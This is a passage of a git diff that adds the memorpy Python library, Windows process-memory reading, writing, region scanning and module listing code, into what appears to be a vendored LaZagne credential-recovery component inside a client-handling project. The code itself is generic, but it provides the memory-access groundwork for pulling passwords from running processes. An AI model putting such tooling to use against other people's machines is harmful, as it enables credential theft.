True + self.pid = dwProcessId + return True + return False + + def close(self): + if self.h_process is not None: + ret = kernel32.CloseHandle(self.h_process) == 1 + if ret: + self.h_process = None + self.pid = None + self.isProcessOpen = False + return ret + return False + + def _open_from_name(self, processName, debug=False): + processes = self.processes_from_name(processName) + if not processes: + raise ProcessException("can't get pid from name %s" % processName) + elif len(processes)>1: + raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName) + if debug: + self._open(processes[0]["pid"], debug=True) + else: + self._open(processes[0]["pid"], debug=False) + + def GetSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetSystemInfo(byref(si)) + return si + + def GetNativeSystemInfo(self): + si = SYSTEM_INFO() + kernel32.GetNativeSystemInfo(byref(si)) + return si + + def VirtualQueryEx(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION() + if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualQueryEx64(self, lpAddress): + mbi = MEMORY_BASIC_INFORMATION64() + if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): + raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) + return mbi + + def VirtualProtectEx(self, base_address, size, protection): + old_protect = c_ulong(0) + if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): + raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection)) + return old_protect.value + + def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): + + offset = start_offset or self.min_addr + end_offset = end_offset or self.max_addr + + while True: + if offset >= end_offset: + break + mbi = self.VirtualQueryEx(offset) + offset = mbi.BaseAddress + chunk = mbi.RegionSize + protect = mbi.Protect + state = mbi.State + #print "offset: %s, chunk:%s"%(offset, chunk) + if state & MEM_FREE or state & MEM_RESERVE: + offset += chunk + continue + if protec: + if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD: + offset += chunk + continue + yield offset, chunk + offset += chunk + + def write_bytes(self, address, data): + address = int(address) + if not self.isProcessOpen: + raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid)) + buffer = create_string_buffer(data) + sizeWriten = c_size_t(0) + bufferSize = sizeof(buffer) - 1 + _address = address + _length = bufferSize + 1 + try: + old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE) + except: + pass + + res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten)) + try: + self.VirtualProtectEx(_address, _length, old_protect) + except: + pass + + return res + + def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False): + #print "reading %s bytes from addr %s"%(bytes, address) + if use_NtWow64ReadVirtualMemory64: + if NtWow64ReadVirtualMemory64 is None: + raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process") + RpM = NtWow64ReadVirtualMemory64 + else: + RpM = ReadProcessMemory + + address = int(address) + buffer = create_string_buffer(bytes) + bytesread = c_size_t(0) + data = b'' + length = bytes + while length: + if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0): + if bytesread.value: + data += buffer.raw[:bytesread.value] + length -= bytesread.value + address += bytesread.value + if not len(data): + raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(), + address, + length, + bytesread.value)) + return data + else: + if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it + data += buffer.raw[:bytesread.value] + return data + raise WinError() + # data += buffer.raw[:bytesread.value] + # length -= bytesread.value + # address += bytesread.value + return data + + + def list_modules(self): + module_list = [] + if self.pid is not None: + hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid) + if hModuleSnap is not None: + module_entry = MODULEENTRY32() + module_entry.dwSize = sizeof(module_entry) + success = Module32First(hModuleSnap, byref(module_entry)) + while success: + if module_entry.th32ProcessID == self.pid: + module_list.append(copy.copy(module_entry)) + success = Module32Next(hModuleSnap, byref(module_entry)) + + kernel32.CloseHandle(hModuleSnap) + return module_list + + def get_symbolic_name(self, address): + for m in self.list_modules(): + if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize): + return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr) + + return '0x%08X' % int(address) + + def hasModule(self, module): + if module[-4:] != '.dll': + module += '.dll' + module_list = self.list_modules() + for m in module_list: + if module in m.szExePath.split('\\'): + return True + return False + + + def get_instruction(self, address): + """ + Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. + """ + import pydasm + try: + data = self.read_bytes(int(address), 32) + except: + return 'Unable to disassemble at %08x' % address + + return pydasm.get_instruction(data, pydasm.MODE_32) + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py new file mode 100644 index 0000000..ac49d36 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/WinStructures.py @@ -0,0 +1,190 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong +from ctypes.wintypes import * + +if sizeof(c_void_p) == 8: + ULONG_PTR = c_ulonglong +else: + ULONG_PTR = c_ulong + + +class SECURITY_DESCRIPTOR(Structure): + _fields_ = [ + ('SID', DWORD), + ('group', DWORD), + ('dacl', DWORD), + ('sacl', DWORD), + ('test', DWORD) + ] +PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR) + +class MEMORY_BASIC_INFORMATION(Structure): + _fields_ = [('BaseAddress', c_void_p), + ('AllocationBase', c_void_p), + ('AllocationProtect', DWORD), + ('RegionSize', c_size_t), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD)] + +# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx +class MEMORY_BASIC_INFORMATION64(Structure): + _fields_ = [('BaseAddress', c_ulonglong), + ('AllocationBase', c_ulonglong), + ('AllocationProtect', DWORD), + ('alignement1', DWORD), + ('RegionSize', c_ulonglong), + ('State', DWORD), + ('Protect', DWORD), + ('Type', DWORD), + ('alignement2', DWORD)] + + + +class SYSTEM_INFO(Structure): + _fields_ = [('wProcessorArchitecture', WORD), + ('wReserved', WORD), + ('dwPageSize', DWORD), + ('lpMinimumApplicationAddress', LPVOID), + ('lpMaximumApplicationAddress', LPVOID), + ('dwActiveProcessorMask', ULONG_PTR), + ('dwNumberOfProcessors', DWORD), + ('dwProcessorType', DWORD), + ('dwAllocationGranularity', DWORD), + ('wProcessorLevel', WORD), + ('wProcessorRevision', WORD)] + + +class PROCESSENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ProcessID', c_uint), + ('th32DefaultHeapID', c_uint), + ('th32ModuleID', c_uint), + ('cntThreads', c_uint), + ('th32ParentProcessID', c_uint), + ('pcPriClassBase', c_long), + ('dwFlags', DWORD), + #('dwFlags', ULONG_PTR), + ('szExeFile', c_char * 260), + ('th32MemoryBase', c_long), + ('th32AccessKey', c_long)] + + +class MODULEENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('th32ModuleID', c_uint), + ('th32ProcessID', c_uint), + ('GlblcntUsage', c_uint), + ('ProccntUsage', c_uint), + ('modBaseAddr', c_uint), + ('modBaseSize', c_uint), + ('hModule', c_uint), + ('szModule', c_char * 256), + ('szExePath', c_char * 260)] + + +class THREADENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ThreadID', c_uint), + ('th32OwnerProcessID', c_uint), + ('tpBasePri', c_uint), + ('tpDeltaPri', c_uint), + ('dwFlags', c_uint)] + + +class TH32CS_CLASS(object): + INHERIT = 2147483648 + SNAPHEAPLIST = 1 + SNAPMODULE = 8 + SNAPMODULE32 = 16 + SNAPPROCESS = 2 + SNAPTHREAD = 4 + ALL = 2032639 + + +Module32First = windll.kernel32.Module32First +Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32First.rettype = c_int +Module32Next = windll.kernel32.Module32Next +Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32Next.rettype = c_int + +Process32First = windll.kernel32.Process32First +Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32First.rettype = c_int +Process32Next = windll.kernel32.Process32Next +Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32Next.rettype = c_int + +CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot +CreateToolhelp32Snapshot.reltype = c_long +CreateToolhelp32Snapshot.argtypes = [c_int, c_int] + +CloseHandle = windll.kernel32.CloseHandle +CloseHandle.argtypes = [c_void_p] +CloseHandle.rettype = c_int + +OpenProcess = windll.kernel32.OpenProcess +OpenProcess.argtypes = [c_void_p, c_int, c_long] +OpenProcess.rettype = c_long +OpenProcessToken = windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE)) +OpenProcessToken.restype = BOOL + +ReadProcessMemory = windll.kernel32.ReadProcessMemory +ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)] +ReadProcessMemory = windll.kernel32.ReadProcessMemory + +WriteProcessMemory = windll.kernel32.WriteProcessMemory +WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] +WriteProcessMemory.restype = BOOL + +if sizeof(c_void_p) == 8: + NtWow64ReadVirtualMemory64=None +else: + try: + NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64 + NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead); + NtWow64ReadVirtualMemory64.restype = BOOL + except: + NtWow64ReadVirtualMemory64=None + +VirtualQueryEx = windll.kernel32.VirtualQueryEx +VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t] +VirtualQueryEx.restype = c_size_t + +#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx +#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t] +#VirtualQueryEx64.restype = c_size_t + +PAGE_EXECUTE_READWRITE = 64 +PAGE_EXECUTE_READ = 32 +PAGE_READONLY = 2 +PAGE_READWRITE = 4 +PAGE_NOCACHE = 512 +PAGE_WRITECOMBINE = 1024 +PAGE_GUARD = 256 + +MEM_COMMIT = 4096 +MEM_FREE = 65536 +MEM_RESERVE = 8192 + +UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912 +DACL_SECURITY_INFORMATION = 4 \ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py new file mode 100644 index 0000000..853fcea --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py @@ -0,0 +1,32 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + + +import logging +logger=logging.getLogger("memorpy") +logger.setLevel(logging.WARNING) +ch = logging.StreamHandler() +ch.setLevel(logging.WARNING) +logger.addHandler(ch) + +import sys +from .MemWorker import * +from .Locator import * +from .Address import * +from .Process import * +from .utils import * +#if sys.platform=="win32": +# from wintools import * #not a necessary dependency, just used for debugging diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/structures.py b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py new file mode 100644 index 0000000..a08c2ee --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +if sys.platform=="win32": + from .WinStructures import * +else: + from .LinStructures import * diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/utils.py b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py new file mode 100644 index 0000000..5b1c58a --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py @@ -0,0 +1,121 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +import re +import struct + +def re_to_unicode(s): + newstring = '' + for c in s: + newstring += re.escape(c) + '\\x00' + + return newstring + + +def type_unpack(type): + """ return the struct and the len of a particular type """ + type = type.lower() + s = None + l = None + if type == 'short': + s = 'h' + l = 2 + elif type == 'ushort': + s = 'H' + l = 2 + elif type == 'int': + s = 'i' + l = 4 + elif type == 'uint': + s = 'I' + l = 4 + elif type == 'long': + s = 'l' + l = 4 + elif type == 'ulong': + s = 'L' + l = 4 + elif type == 'float': + s = 'f' + l = 4 + elif type == 'double': + s = 'd' + l = 8 + else: + raise TypeError('Unknown type %s' % type) + return ('<' + s, l) + + +def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): + """ + function originally from pydbg, modified to display other types + """ + dump = prefix + slice = '' + if ftype != 'bytes': + structtype, structlen = type_unpack(ftype) + for i in range(0, len(data), structlen): + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + tmpval = 'NaN' + try: + packedval = data[i:i + structlen] + tmpval = struct.unpack(structtype, packedval)[0] + except Exception as e: + print(e) + + if tmpval == 'NaN': + dump += '{:<15} '.format(tmpval) + elif ftype == 'float': + dump += '{:<15.4f} '.format(tmpval) + else: + dump += '{:<15} '.format(tmpval) + addr += structlen + + else: + for byte in data: + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + dump += '%02X ' % byte + slice += chr(byte) + addr += 1 + + remainder = addr % 16 + if remainder != 0: + dump += ' ' * (16 - remainder) + ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + return dump + '\n' diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/version.py b/foreign/client_handling/lazagne/config/lib/memorpy/version.py new file mode 100644 index 0000000..51b8469 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/version.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +version=(1,7) +version_string="%s.%s"%version + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py new file mode 100644 index 0000000..f2bf936 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py @@ -0,0 +1,35 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from ctypes import windll +import time + +def start_winforeground_daemon(): + import threading + t=threading.Thread(target=window_foreground_loop) + t.daemon=True + t.start() + +def window_foreground_loop(timeout=20): + """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ + hwnd = windll.kernel32.GetConsoleWindow() + HWND_TOPMOST = -1 + SWP_NOMOVE = 2 + SWP_NOSIZE = 1 + while True: + windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) + time.sleep(timeout) + \ No newline at end of file -- cgit v1.2.3